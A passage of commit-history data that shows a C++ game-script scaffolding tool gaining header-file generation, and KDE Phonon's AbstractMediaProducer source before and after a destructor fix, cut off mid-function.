i++) {\n\t\tafter.push_back(befor.at(i));\n\n\t\tif (befor.at(i) == \"\/\/ENGINE_REGISTER\") {\n\n\t\t\tstring lowerName = name;\n\t\t\tfor (unsigned int i = 0; i < name.size(); i++)\n\t\t\t\tlowerName[i] = tolower(name[i]);\n\n\t\t\tafter.push_back(\"\tgame::\" + name + \"* \" + lowerName + \" new game::\" + name + \"();\");\n\t\t\tafter.push_back(\"\tfabric::Engine::vRegisteredGameObjects->push_back(\" + lowerName + \");\");\n\t\t\tafter.push_back(\" \");\n\t\t}\n\t}\n\n\tfileContent = \"\";\n\n\tfor (unsigned int i = 0; i < after.size(); i++) {\n\t\tfileContent += after.at(i) + \"\\n\";\n\t}\n\n\t\/\/cout << fileContent;\n\n\tofstream oFile(path);\n\n\toFile.write(fileContent.c_str(), fileContent.size());\n\toFile.close();\n\treturn 0;\n}\n\n\nint addSourceFile(string name, string path) {\n\tofstream oFile(path + name + \".cpp\");\n\n\tstring fileContent = \"\";\n\n\tfileContent += \"#include <engine.hpp>\\n\";\n\tfileContent += \"#include <gameobject.hpp>\\n\";\n\tfileContent += \"#include <behavior.hpp>\\n\";\n\tfileContent += \"\\n\";\n\tfileContent += \"using namespace fabric;\\n\";\n\tfileContent += \"\\n\";\n\tfileContent += \"namespace game{\\n\";\n\tfileContent += \"\tclass \" + name + \" : public GameObject{\\n\";\n\tfileContent += \"\tpublic:\\n\";\n\tfileContent += \"\t\t\/\/ Use for initialization\\n\";\n\tfileContent += \"\t\tvoid setup(){\\n\";\n\tfileContent += \"\\n\";\n\tfileContent += \"\t\t}\\n\";\n\tfileContent += \"\\n\";\n\tfileContent += \"\t\t\/\/ Use for frame by frame logic\\n\";\n\tfileContent += \"\t\tvoid update (){\\n\";\n\tfileContent += \"\\n\";\n\tfileContent += \"\t\t}\\n\";\n\tfileContent += \"\t};\\n\";\n\tfileContent += \"}\";\n\n\n\toFile.write(fileContent.c_str(), fileContent.size());\n\toFile.close();\n\n\treturn 0;\n}\n\n\nvoid waitForExit() {\n\tstring input;\n\n\tdo {\n\t\tcout << \"Input anything to exit: \";\n\t\tcin >> input;\n\t} while (input == \"\");\n\t\n}\n\n\nint main() {\n\tstring input;\n\tint lhs;\n\n\tcout << \"Welcome to the automated script creation tool\" << endl;\n\tcout << \"Is this tool beeing ran from the 'tools' directory in your project or\" << endl;\n\tcout << \"has been launched from the editor? [yes | no]: \";\n\n\tcin >> input;\n\tif (input == \"no\") {\n\t\tcout << \"Please launched the tool from the 'tools' directory or the editor\" << endl;\n\t\twaitForExit();\n\t\treturn 1;\n\t}\n\n\tcout << endl;\n\tcout << \"Please enter the name of your script (no exstenion): \";\n\tcin >> input;\n\tcout << \"Thank You\";\n\tcout << endl;\n\n\tlhs = addIncludeHeader(input, \"..\/..\/game\/game.cpp\");\n\tif (lhs == 0)\n\t\tcout << \"... Include headers have been created in 'game.cpp'\" << endl;\n\telse\n\t\tcout << \"... Include header could not be written to 'game.cpp'\" << endl;\n\n\t\n\tlhs = addEngineRegister(input, \"..\/..\/game\/game.cpp\");\n\tif (lhs == 0)\n\t\tcout << \"... Engine register have been created in 'game.cpp'\" << endl;\n\telse\n\t\tcout << \"... Engine register could not be written to 'game.cpp'\" << endl;\n\n\t\n\tlhs = addSourceFile(input, \"..\/..\/game\/scripts\/source\/\");\n\tif (lhs == 0)\n\t\tcout << \"... .cpp file has been created in 'scripts\/source'\" << endl;\n\telse\n\t\tcout << \"... .cpp file could not be created in'scripts\/source'\" << endl;\n\t\n\tcout << endl;\n\tcout << \"Script has been added, your welcome\" << endl;\n\n\twaitForExit();\n\t\n\treturn 0;\n}<commit_msg>Added automatic .hpp creation<commit_after>#include <iostream>\n#include <vector>\n#include <string>\n#include <fstream>\n#include <sstream>\n\nusing namespace std;\n\nvector<string> split(string str, char delimiter) {\n\tvector<string> internal;\n\tstringstream ss(str);\n\tstring tok;\n\n\twhile (getline(ss, tok, delimiter)) {\n\t\tinternal.push_back(tok);\n\t}\n\n\treturn internal;\n}\n\n\nint addIncludeHeader(string name, char* path) {\n\tifstream iFile(path);\n\tstring str;\n\tstring fileContent = \"\";\n\n\tif (!iFile)\n\t\treturn 1;\n\n\twhile (!iFile.eof())\n\t{\n\t\tgetline(iFile, str);\n\n\t\tstr += \"\\n\";\n\t\tfileContent += str;\n\n\t\tstr = \"\";\n\t}\n\n\tiFile.close();\n\n\tvector<string> befor = split(fileContent, '\\n');\n\tvector<string> after;\n\n\tfor (unsigned int i = 0; i < befor.size(); i++) {\n\t\tafter.push_back(befor.at(i));\n\n\t\tif (befor.at(i) == \"\/\/HEADER\") {\n\t\t\tafter.push_back(\"#include \\\"scripts\/header\/\" + name + \".hpp\\\" \");\n\t\t}\n\t}\n\n\tfileContent = \"\";\n\n\tfor (unsigned int i = 0; i < after.size(); i++) {\n\t\tfileContent += after.at(i) + \"\\n\";\n\t}\n\n\n\t\/\/cout << fileContent << endl;\n\n\n\tofstream oFile(path);\n\n\toFile.write(fileContent.c_str(), fileContent.size());\n\toFile.close();\n\treturn 0;\n}\n\n\nint addEngineRegister(string name, char* path) {\n\tifstream iFile(path);\n\tstring str;\n\tstring fileContent = \"\";\n\n\tif (!iFile)\n\t\treturn 1;\n\n\twhile (!iFile.eof())\n\t{\n\t\tgetline(iFile, str);\n\n\t\tstr += \"\\n\";\n\t\tfileContent += str;\n\n\t\tstr = \"\";\n\t}\n\n\tiFile.close();\n\n\tvector<string> befor = split(fileContent, '\\n');\n\tvector<string> after;\n\n\tfor (unsigned int i = 0; i < befor.size(); i++) {\n\t\tafter.push_back(befor.at(i));\n\n\t\tif (befor.at(i) == \"\/\/ENGINE_REGISTER\") {\n\n\t\t\tstring lowerName = name;\n\t\t\tfor (unsigned int i = 0; i < name.size(); i++)\n\t\t\t\tlowerName[i] = tolower(name[i]);\n\n\t\t\tafter.push_back(\"\tgame::\" + name + \"* \" + lowerName + \" = new game::\" + name + \"();\");\n\t\t\tafter.push_back(\"\tfabric::Engine::vRegisteredGameObjects->push_back(\" + lowerName + \");\");\n\t\t\tafter.push_back(\" \");\n\t\t}\n\t}\n\n\tfileContent = \"\";\n\n\tfor (unsigned int i = 0; i < after.size(); i++) {\n\t\tfileContent += after.at(i) + \"\\n\";\n\t}\n\n\t\/\/cout << fileContent;\n\n\tofstream oFile(path);\n\n\toFile.write(fileContent.c_str(), fileContent.size());\n\toFile.close();\n\treturn 0;\n}\n\n\nint addSourceFile(string name, string path) {\n\tofstream oFile(path + name + \".cpp\");\n\n\tif (!oFile)\n\t\treturn 1;\n\n\tstring fileContent;\n\n\tfileContent += \"#include \\\"..\/header\/\" + name + \".hpp\\\"\\n\";\n\tfileContent += \"#include <engine.hpp>\\n\";\n\tfileContent += \"#include <gameobject.hpp>\\n\";\n\tfileContent += \"#include <behavior.hpp>\\n\";\n\tfileContent += \"\\n\";\n\tfileContent += \"using namespace fabric;\\n\";\n\tfileContent += \"\\n\";\n\tfileContent += \"namespace game{\\n\";\n\tfileContent += \"\\n\";\n\n\tfileContent += \"void \" + name + \"::setup(){\\n\";\n\tfileContent += \"\t\/\/ Use this for inital setup\\n\";\n\tfileContent += \"\t}\\n\";\n\n\tfileContent += \"void \" + name + \"::update(){\\n\";\n\tfileContent += \"\t\/\/ Use this for frame by frame logic\\n\";\n\tfileContent += \"\t}\\n\";\n\tfileContent += \"}\";\n\n\n\toFile.write(fileContent.c_str(), fileContent.size());\n\toFile.close();\n\n\treturn 0;\n}\n\n\nint addHeaderFile(string name, string path) {\n\tofstream oFile(path + name + \".hpp\");\n\n\tif (!oFile)\n\t\treturn 1;\n\n\n\tstring upperName = name;\n\tfor (unsigned int i = 0; i < name.size(); i++)\n\t\tupperName[i] = toupper(name[i]);\n\n\tstring fileContent = \"\";\n\n\tfileContent += \"#ifndef \" + upperName + \"_HPP\" + \"\\n\";\n\tfileContent += \"#define \" + upperName + \"_HPP\" + \"\\n\";\n\n\tfileContent += \"\\n\";\n\n\tfileContent += \"#include <engine.hpp> \\n\";\n\tfileContent += \"#include <gameobject.hpp>\\n\";\n\tfileContent += \"#include <behavior.hpp>\\n\";\n\tfileContent += \"\\n\";\n\tfileContent += \"using namespace fabric;\\n\";\n\tfileContent += \"\\n\";\n\tfileContent += \"namespace game{\\n\";\n\tfileContent += \"\tclass \" + name + \" : public GameObject{\\n\";\n\tfileContent += \"\tpublic:\\n\";\n\tfileContent += \"\t\tvoid setup();\\n\";\n\tfileContent += \"\t\tvoid update ();\\n\";\n\tfileContent += \"\t};\\n\";\n\tfileContent += \"}\\n\";\n\tfileContent += \"#endif\";\n\n\n\toFile.write(fileContent.c_str(), fileContent.size());\n\toFile.close();\n\n\treturn 0;\n}\n\nvoid waitForExit() {\n\tstring input;\n\n\tdo {\n\t\tcout << \"Input anything to exit: \";\n\t\tcin >> input;\n\t} while (input == \"\");\n\t\n}\n\n\nint main() {\n\tstring input;\n\tint lhs;\n\n\tcout << \"Welcome to the automated script creation tool\" << endl;\n\tcout << \"Is this tool beeing ran from the 'tools' directory in your project or\" << endl;\n\tcout << \"has been launched from the editor? [yes | no]: \";\n\n\tcin >> input;\n\tif (input == \"no\") {\n\t\tcout << \"Please launched the tool from the 'tools' directory or the editor\" << endl;\n\t\twaitForExit();\n\t\treturn 1;\n\t}\n\n\tcout << endl;\n\tcout << \"Please enter the name of your script (no exstenion): \";\n\tcin >> input;\n\tcout << \"Thank You\";\n\tcout << endl;\n\n\tlhs = addIncludeHeader(input, \"..\/..\/game\/game.cpp\");\n\tif (lhs == 0)\n\t\tcout << \"... Include headers have been created in 'game.cpp'\" << endl;\n\telse\n\t\tcout << \"... Include header could not be written to 'game.cpp'\" << endl;\n\n\t\n\tlhs = addEngineRegister(input, \"..\/..\/game\/game.cpp\");\n\tif (lhs == 0)\n\t\tcout << \"... Engine register have been created in 'game.cpp'\" << endl;\n\telse\n\t\tcout << \"... Engine register could not be written to 'game.cpp'\" << endl;\n\n\t\n\tlhs = addSourceFile(input, \"..\/..\/game\/scripts\/source\/\");\n\tif (lhs == 0)\n\t\tcout << \"... .cpp file has been created in 'scripts\/source'\" << endl;\n\telse\n\t\tcout << \"... .cpp file could not be created in'scripts\/source'\" << endl;\n\n\tlhs = addHeaderFile(input, \"..\/..\/game\/scripts\/header\/\");\n\tif (lhs == 0)\n\t\tcout << \"... .hpp file has been created in 'scripts\/header'\" << endl;\n\telse\n\t\tcout << \"... .hpp file could not be created in'scripts\/header'\" << endl;\n\t\n\tcout << endl;\n\tcout << \"Script has been added, your welcome\" << endl;\n\n\twaitForExit();\n\t\n\treturn 0;\n}<|endoftext|>"} {"text":"<commit_before>\/* This file is part of the KDE project\n Copyright (C) 2005-2006 Matthias Kretz <kretz@kde.org>\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Library General Public\n License version 2 as published by the Free Software Foundation.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Library General Public License for more details.\n\n You should have received a copy of the GNU Library General Public License\n along with this library; see the file COPYING.LIB. If not, write to\n the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n Boston, MA 02110-1301, USA.\n\n*\/\n\n#include \"abstractmediaproducer.h\"\n#include \"abstractmediaproducer_p.h\"\n#include \"factory.h\"\n\n#include \"videopath.h\"\n#include \"audiopath.h\"\n\n#include \"mediaproducerinterface.h\"\n\n\n#include <QTimer>\n\n#include <kdebug.h>\n#include <QStringList>\n\n#define PHONON_CLASSNAME AbstractMediaProducer\n#define PHONON_INTERFACENAME MediaProducerInterface\n\nnamespace Phonon\n{\nPHONON_ABSTRACTBASE_IMPL\n\nAbstractMediaProducer::~AbstractMediaProducer()\n{\n\tK_D( AbstractMediaProducer );\n\tPhonon::State s = state();\n\tif( s != ErrorState || s != StoppedState || s != LoadingState )\n\t\tstop();\n foreach(VideoPath* vp, d->videoPaths)\n d->removeDestructionHandler(vp, d);\n foreach(AudioPath* ap, d->audioPaths)\n d->removeDestructionHandler(ap, d);\n}\n\nbool AbstractMediaProducer::addVideoPath( VideoPath* videoPath )\n{\n\tK_D( AbstractMediaProducer );\n\tif( d->videoPaths.contains( videoPath ) )\n\t\treturn false;\n\n\tif( iface() )\n\t{\n\t\tif( qobject_cast<MediaProducerInterface*>( d->backendObject )->addVideoPath( videoPath->iface() ) )\n\t\t{\n d->addDestructionHandler(videoPath, d);\n\t\t\td->videoPaths.append( videoPath );\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}\n\nbool AbstractMediaProducer::addAudioPath( AudioPath* audioPath )\n{\n\tK_D( AbstractMediaProducer );\n\tif( d->audioPaths.contains( audioPath ) )\n\t\treturn false;\n\n\tif( iface() )\n\t{\n\t\tif( qobject_cast<MediaProducerInterface*>( d->backendObject )->addAudioPath( audioPath->iface() ) )\n\t\t{\n d->addDestructionHandler(audioPath, d);\n\t\t\td->audioPaths.append( audioPath );\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}\n\nPHONON_INTERFACE_SETTER( setTickInterval, tickInterval, qint32 )\nPHONON_INTERFACE_GETTER( qint32, tickInterval, d->tickInterval )\nPHONON_INTERFACE_GETTER( Phonon::State, state, d->state )\nPHONON_INTERFACE_GETTER( bool, hasVideo, false )\nPHONON_INTERFACE_GETTER( bool, isSeekable, false )\nPHONON_INTERFACE_GETTER( qint64, currentTime, d->currentTime )\nPHONON_INTERFACE_GETTER1( QString, selectedAudioStream, d->selectedAudioStream[ audioPath ], AudioPath*, audioPath )\nPHONON_INTERFACE_GETTER1( QString, selectedVideoStream, d->selectedVideoStream[ videoPath ], VideoPath*, videoPath )\nPHONON_INTERFACE_GETTER1( QString, selectedSubtitleStream, d->selectedSubtitleStream[ videoPath ], VideoPath*, videoPath )\nPHONON_INTERFACE_GETTER( QStringList, availableAudioStreams, QStringList() )\nPHONON_INTERFACE_GETTER( QStringList, availableVideoStreams, QStringList() )\nPHONON_INTERFACE_GETTER( QStringList, availableSubtitleStreams, QStringList() )\n\nvoid AbstractMediaProducer::selectAudioStream( const QString& streamName, AudioPath* audioPath )\n{\n\tK_D( AbstractMediaProducer );\n\tif( iface() )\n INTERFACE_CALL(selectAudioStream, (streamName, audioPath->iface()));\n\telse\n\t\td->selectedAudioStream[ audioPath ] = streamName;\n}\n\nvoid AbstractMediaProducer::selectVideoStream( const QString& streamName, VideoPath* videoPath )\n{\n\tK_D( AbstractMediaProducer );\n\tif( iface() )\n INTERFACE_CALL(selectVideoStream, (streamName, videoPath->iface()));\n\telse\n\t\td->selectedVideoStream[ videoPath ] = streamName;\n}\n\nvoid AbstractMediaProducer::selectSubtitleStream( const QString& streamName, VideoPath* videoPath )\n{\n\tK_D( AbstractMediaProducer );\n\tif( iface() )\n INTERFACE_CALL(selectSubtitleStream, (streamName, videoPath->iface()));\n\telse\n\t\td->selectedSubtitleStream[ videoPath ] = streamName;\n}\n\nQList<VideoPath*> AbstractMediaProducer::videoPaths() const\n{\n\tK_D( const AbstractMediaProducer );\n\treturn d->videoPaths;\n}\n\nQList<AudioPath*> AbstractMediaProducer::audioPaths() const\n{\n\tK_D( const AbstractMediaProducer );\n\treturn d->audioPaths;\n}\n\nvoid AbstractMediaProducer::play()\n{\n\tK_D( AbstractMediaProducer );\n\tif( iface() )\n INTERFACE_CALL(play, ());\n}\n\nvoid AbstractMediaProducer::pause()\n{\n\tK_D( AbstractMediaProducer );\n\tif( iface() )\n INTERFACE_CALL(pause, ());\n}\n\nvoid AbstractMediaProducer::stop()\n{\n\tK_D( AbstractMediaProducer );\n\tif( iface() )\n\t{\n INTERFACE_CALL(stop, ());\n\t\tif( tickInterval() > 0 )\n\t\t\temit tick( 0 );\n\t}\n}\n\nvoid AbstractMediaProducer::seek( qint64 time )\n{\n\tK_D( AbstractMediaProducer );\n\tState s = state();\n\tif( iface() && ( s == Phonon::PlayingState || s == Phonon::BufferingState || s == Phonon::PausedState ) )\n INTERFACE_CALL(seek, (time));\n}\n\nQString AbstractMediaProducer::errorString() const\n{\n if (state() == Phonon::ErrorState) {\n K_D(const AbstractMediaProducer);\n return INTERFACE_CALL(errorString, ());\n }\n return QString();\n}\n\nErrorType AbstractMediaProducer::errorType() const\n{\n if (state() == Phonon::ErrorState) {\n K_D(const AbstractMediaProducer);\n return INTERFACE_CALL(errorType, ());\n }\n return Phonon::NoError;\n}\n\nbool AbstractMediaProducerPrivate::aboutToDeleteIface()\n{\n\t\/\/kDebug( 600 ) << k_funcinfo << endl;\n\tif( backendObject )\n\t{\n\t\tstate = qobject_cast<MediaProducerInterface*>( backendObject )->state();\n\t\tcurrentTime = qobject_cast<MediaProducerInterface*>( backendObject )->currentTime();\n\t\ttickInterval = qobject_cast<MediaProducerInterface*>( backendObject )->tickInterval();\n\t}\n\treturn true;\n}\n\nvoid AbstractMediaProducer::setupIface()\n{\n\tK_D( AbstractMediaProducer );\n\tQ_ASSERT( d->backendObject );\n\t\/\/kDebug( 600 ) << k_funcinfo << endl;\n\n\tconnect( d->backendObject, SIGNAL( stateChanged( Phonon::State, Phonon::State ) ), SIGNAL( stateChanged( Phonon::State, Phonon::State ) ) );\n\tconnect( d->backendObject, SIGNAL( tick( qint64 ) ), SIGNAL( tick( qint64 ) ) );\n\tconnect( d->backendObject, SIGNAL( metaDataChanged( const QMultiMap<QString, QString>& ) ), SLOT( _k_metaDataChanged( const QMultiMap<QString, QString>& ) ) );\n connect(d->backendObject, SIGNAL(seekableChanged(bool)), SIGNAL(seekableChanged(bool)));\n\n\t\/\/ set up attributes\n INTERFACE_CALL(setTickInterval, (d->tickInterval));\n\n\tforeach( AudioPath* a, d->audioPaths )\n\t{\n\t\tif( !qobject_cast<MediaProducerInterface*>( d->backendObject )->addAudioPath( a->iface() ) )\n\t\t\td->audioPaths.removeAll( a );\n\t}\n\tforeach( VideoPath* v, d->videoPaths )\n\t{\n\t\tif( !qobject_cast<MediaProducerInterface*>( d->backendObject )->addVideoPath( v->iface() ) )\n\t\t\td->videoPaths.removeAll( v );\n\t}\n\n\tswitch( d->state )\n\t{\n\t\tcase LoadingState:\n\t\tcase StoppedState:\n\t\tcase ErrorState:\n\t\t\tbreak;\n\t\tcase PlayingState:\n\t\tcase BufferingState:\n\t\t\tQTimer::singleShot( 0, this, SLOT( _k_resumePlay() ) );\n\t\t\tbreak;\n\t\tcase PausedState:\n\t\t\tQTimer::singleShot( 0, this, SLOT( _k_resumePause() ) );\n\t\t\tbreak;\n\t}\n\td->state = qobject_cast<MediaProducerInterface*>( d->backendObject )->state();\n}\n\nvoid AbstractMediaProducerPrivate::_k_resumePlay()\n{\n\tqobject_cast<MediaProducerInterface*>( backendObject )->play();\n\tif( currentTime > 0 )\n\t\tqobject_cast<MediaProducerInterface*>( backendObject )->seek( currentTime );\n}\n\nvoid AbstractMediaProducerPrivate::_k_resumePause()\n{\n\tqobject_cast<MediaProducerInterface*>( backendObject )->play();\n\tif( currentTime > 0 )\n\t\tqobject_cast<MediaProducerInterface*>( backendObject )->seek( currentTime );\n\tqobject_cast<MediaProducerInterface*>( backendObject )->pause();\n}\n\nvoid AbstractMediaProducerPrivate::_k_metaDataChanged( const QMultiMap<QString, QString>& newMetaData )\n{\n\tmetaData = newMetaData;\n\temit q_func()->metaDataChanged();\n}\n\nQStringList AbstractMediaProducer::metaDataKeys() const\n{\n\tK_D( const AbstractMediaProducer );\n\treturn d->metaData.keys();\n}\n\nQString AbstractMediaProducer::metaDataItem( const QString& key ) const\n{\n\tK_D( const AbstractMediaProducer );\n\treturn d->metaData.value( key );\n}\n\nQStringList AbstractMediaProducer::metaDataItems( const QString& key ) const\n{\n\tK_D( const AbstractMediaProducer );\n\treturn d->metaData.values( key );\n}\n\nvoid AbstractMediaProducerPrivate::phononObjectDestroyed( Base* o )\n{\n\t\/\/ this method is called from Phonon::Base::~Base(), meaning the AudioPath\n\t\/\/ dtor has already been called, also virtual functions don't work anymore\n\t\/\/ (therefore qobject_cast can only downcast from Base)\n\tQ_ASSERT( o );\n\tAudioPath* audioPath = static_cast<AudioPath*>( o );\n\tVideoPath* videoPath = static_cast<VideoPath*>( o );\n\tif( audioPaths.contains( audioPath ) )\n\t{\n\t\tif( backendObject )\n\t\t\tqobject_cast<MediaProducerInterface*>( backendObject )->removeAudioPath( audioPath->iface() );\n\t\taudioPaths.removeAll( audioPath );\n\t}\n\telse if( videoPaths.contains( videoPath ) )\n\t{\n\t\tif( backendObject )\n\t\t\tqobject_cast<MediaProducerInterface*>( backendObject )->removeVideoPath( videoPath->iface() );\n\t\tvideoPaths.removeAll( videoPath );\n\t}\n}\n\n} \/\/namespace Phonon\n\n#include \"abstractmediaproducer.moc\"\n\/\/ vim: sw=4 ts=4 tw=80\n<commit_msg>don't (re)create the backend object in the ctor<commit_after>\/* This file is part of the KDE project\n Copyright (C) 2005-2006 Matthias Kretz <kretz@kde.org>\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Library General Public\n License version 2 as published by the Free Software Foundation.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Library General Public License for more details.\n\n You should have received a copy of the GNU Library General Public License\n along with this library; see the file COPYING.LIB. If not, write to\n the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n Boston, MA 02110-1301, USA.\n\n*\/\n\n#include \"abstractmediaproducer.h\"\n#include \"abstractmediaproducer_p.h\"\n#include \"factory.h\"\n\n#include \"videopath.h\"\n#include \"audiopath.h\"\n\n#include \"mediaproducerinterface.h\"\n\n\n#include <QTimer>\n\n#include <kdebug.h>\n#include <QStringList>\n\n#define PHONON_CLASSNAME AbstractMediaProducer\n#define PHONON_INTERFACENAME MediaProducerInterface\n\nnamespace Phonon\n{\nPHONON_ABSTRACTBASE_IMPL\n\nAbstractMediaProducer::~AbstractMediaProducer()\n{\n K_D(AbstractMediaProducer);\n if (d->backendObject) {\n switch (state()) {\n case PlayingState:\n case BufferingState:\n case PausedState:\n stop();\n break;\n case ErrorState:\n case StoppedState:\n case LoadingState:\n break;\n }\n }\n foreach(VideoPath* vp, d->videoPaths)\n d->removeDestructionHandler(vp, d);\n foreach(AudioPath* ap, d->audioPaths)\n d->removeDestructionHandler(ap, d);\n}\n\nbool AbstractMediaProducer::addVideoPath( VideoPath* videoPath )\n{\n\tK_D( AbstractMediaProducer );\n\tif( d->videoPaths.contains( videoPath ) )\n\t\treturn false;\n\n\tif( iface() )\n\t{\n\t\tif( qobject_cast<MediaProducerInterface*>( d->backendObject )->addVideoPath( videoPath->iface() ) )\n\t\t{\n d->addDestructionHandler(videoPath, d);\n\t\t\td->videoPaths.append( videoPath );\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}\n\nbool AbstractMediaProducer::addAudioPath( AudioPath* audioPath )\n{\n\tK_D( AbstractMediaProducer );\n\tif( d->audioPaths.contains( audioPath ) )\n\t\treturn false;\n\n\tif( iface() )\n\t{\n\t\tif( qobject_cast<MediaProducerInterface*>( d->backendObject )->addAudioPath( audioPath->iface() ) )\n\t\t{\n d->addDestructionHandler(audioPath, d);\n\t\t\td->audioPaths.append( audioPath );\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}\n\nPHONON_INTERFACE_SETTER( setTickInterval, tickInterval, qint32 )\nPHONON_INTERFACE_GETTER( qint32, tickInterval, d->tickInterval )\nPHONON_INTERFACE_GETTER( Phonon::State, state, d->state )\nPHONON_INTERFACE_GETTER( bool, hasVideo, false )\nPHONON_INTERFACE_GETTER( bool, isSeekable, false )\nPHONON_INTERFACE_GETTER( qint64, currentTime, d->currentTime )\nPHONON_INTERFACE_GETTER1( QString, selectedAudioStream, d->selectedAudioStream[ audioPath ], AudioPath*, audioPath )\nPHONON_INTERFACE_GETTER1( QString, selectedVideoStream, d->selectedVideoStream[ videoPath ], VideoPath*, videoPath )\nPHONON_INTERFACE_GETTER1( QString, selectedSubtitleStream, d->selectedSubtitleStream[ videoPath ], VideoPath*, videoPath )\nPHONON_INTERFACE_GETTER( QStringList, availableAudioStreams, QStringList() )\nPHONON_INTERFACE_GETTER( QStringList, availableVideoStreams, QStringList() )\nPHONON_INTERFACE_GETTER( QStringList, availableSubtitleStreams, QStringList() )\n\nvoid AbstractMediaProducer::selectAudioStream( const QString& streamName, AudioPath* audioPath )\n{\n\tK_D( AbstractMediaProducer );\n\tif( iface() )\n INTERFACE_CALL(selectAudioStream, (streamName, audioPath->iface()));\n\telse\n\t\td->selectedAudioStream[ audioPath ] = streamName;\n}\n\nvoid AbstractMediaProducer::selectVideoStream( const QString& streamName, VideoPath* videoPath )\n{\n\tK_D( AbstractMediaProducer );\n\tif( iface() )\n INTERFACE_CALL(selectVideoStream, (streamName, videoPath->iface()));\n\telse\n\t\td->selectedVideoStream[ videoPath ] = streamName;\n}\n\nvoid AbstractMediaProducer::selectSubtitleStream( const QString& streamName, VideoPath* videoPath )\n{\n\tK_D( AbstractMediaProducer );\n\tif( iface() )\n INTERFACE_CALL(selectSubtitleStream, (streamName, videoPath->iface()));\n\telse\n\t\td->selectedSubtitleStream[ videoPath ] = streamName;\n}\n\nQList<VideoPath*> AbstractMediaProducer::videoPaths() const\n{\n\tK_D( const AbstractMediaProducer );\n\treturn d->videoPaths;\n}\n\nQList<AudioPath*> AbstractMediaProducer::audioPaths() const\n{\n\tK_D( const AbstractMediaProducer );\n\treturn d->audioPaths;\n}\n\nvoid AbstractMediaProducer::play()\n{\n\tK_D( AbstractMediaProducer );\n\tif( iface() )\n INTERFACE_CALL(play, ());\n}\n\nvoid AbstractMediaProducer::pause()\n{\n\tK_D( AbstractMediaProducer );\n\tif( iface() )\n INTERFACE_CALL(pause, ());\n}\n\nvoid AbstractMediaProducer::stop()\n{\n\tK_D( AbstractMediaProducer );\n\tif( iface() )\n\t{\n INTERFACE_CALL(stop, ());\n\t\tif( tickInterval() > 0 )\n\t\t\temit tick( 0 );\n\t}\n}\n\nvoid AbstractMediaProducer::seek( qint64 time )\n{\n\tK_D( AbstractMediaProducer );\n\tState s = state();\n\tif( iface() && ( s == Phonon::PlayingState || s == Phonon::BufferingState || s == Phonon::PausedState ) )\n INTERFACE_CALL(seek, (time));\n}\n\nQString AbstractMediaProducer::errorString() const\n{\n if (state() == Phonon::ErrorState) {\n K_D(const AbstractMediaProducer);\n return INTERFACE_CALL(errorString, ());\n }\n return QString();\n}\n\nErrorType AbstractMediaProducer::errorType() const\n{\n if (state() == Phonon::ErrorState) {\n K_D(const AbstractMediaProducer);\n return INTERFACE_CALL(errorType, ());\n }\n return Phonon::NoError;\n}\n\nbool AbstractMediaProducerPrivate::aboutToDeleteIface()\n{\n\t\/\/kDebug( 600 ) << k_funcinfo << endl;\n\tif( backendObject )\n\t{\n\t\tstate = qobject_cast<MediaProducerInterface*>( backendObject )->state();\n\t\tcurrentTime = qobject_cast<MediaProducerInterface*>( backendObject )->currentTime();\n\t\ttickInterval = qobject_cast<MediaProducerInterface*>( backendObject )->tickInterval();\n\t}\n\treturn true;\n}\n\nvoid AbstractMediaProducer::setupIface()\n{\n\tK_D( AbstractMediaProducer );\n\tQ_ASSERT( d->backendObject );\n\t\/\/kDebug( 600 ) << k_funcinfo << endl;\n\n\tconnect( d->backendObject, SIGNAL( stateChanged( Phonon::State, Phonon::State ) ), SIGNAL( stateChanged( Phonon::State, Phonon::State ) ) );\n\tconnect( d->backendObject, SIGNAL( tick( qint64 ) ), SIGNAL( tick( qint64 ) ) );\n\tconnect( d->backendObject, SIGNAL( metaDataChanged( const QMultiMap<QString, QString>& ) ), SLOT( _k_metaDataChanged( const QMultiMap<QString, QString>& ) ) );\n connect(d->backendObject, SIGNAL(seekableChanged(bool)), SIGNAL(seekableChanged(bool)));\n\n\t\/\/ set up attributes\n INTERFACE_CALL(setTickInterval, (d->tickInterval));\n\n\tforeach( AudioPath* a, d->audioPaths )\n\t{\n\t\tif( !qobject_cast<MediaProducerInterface*>( d->backendObject )->addAudioPath( a->iface() ) )\n\t\t\td->audioPaths.removeAll( a );\n\t}\n\tforeach( VideoPath* v, d->videoPaths )\n\t{\n\t\tif( !qobject_cast<MediaProducerInterface*>( d->backendObject )->addVideoPath( v->iface() ) )\n\t\t\td->videoPaths.removeAll( v );\n\t}\n\n\tswitch( d->state )\n\t{\n\t\tcase LoadingState:\n\t\tcase StoppedState:\n\t\tcase ErrorState:\n\t\t\tbreak;\n\t\tcase PlayingState:\n\t\tcase BufferingState:\n\t\t\tQTimer::singleShot( 0, this, SLOT( _k_resumePlay() ) );\n\t\t\tbreak;\n\t\tcase PausedState:\n\t\t\tQTimer::singleShot( 0, this, SLOT( _k_resumePause() ) );\n\t\t\tbreak;\n\t}\n\td->state = qobject_cast<MediaProducerInterface*>( d->backendObject )->state();\n}\n\nvoid AbstractMediaProducerPrivate::_k_resumePlay()\n{\n\tqobject_cast<MediaProducerInterface*>( backendObject )->play();\n\tif( currentTime > 0 )\n\t\tqobject_cast<MediaProducerInterface*>( backendObject )->seek( currentTime );\n}\n\nvoid AbstractMediaProducerPrivate::_k_resumePause()\n{\n\tqobject_cast<MediaProducerInterface*>( backendObject )->play();\n\tif( currentTime > 0 )\n\t\tqobject_cast<MediaProducerInterface*>( backendObject )->seek( currentTime );\n\tqobject_cast<MediaProducerInterface*>( backendObject )->pause();\n}\n\nvoid AbstractMediaProducerPrivate::_k_metaDataChanged( const QMultiMap<QString, QString>& newMetaData )\n{\n\tmetaData = newMetaData;\n\temit q_func()->metaDataChanged();\n}\n\nQStringList AbstractMediaProducer::metaDataKeys() const\n{\n\tK_D( const AbstractMediaProducer 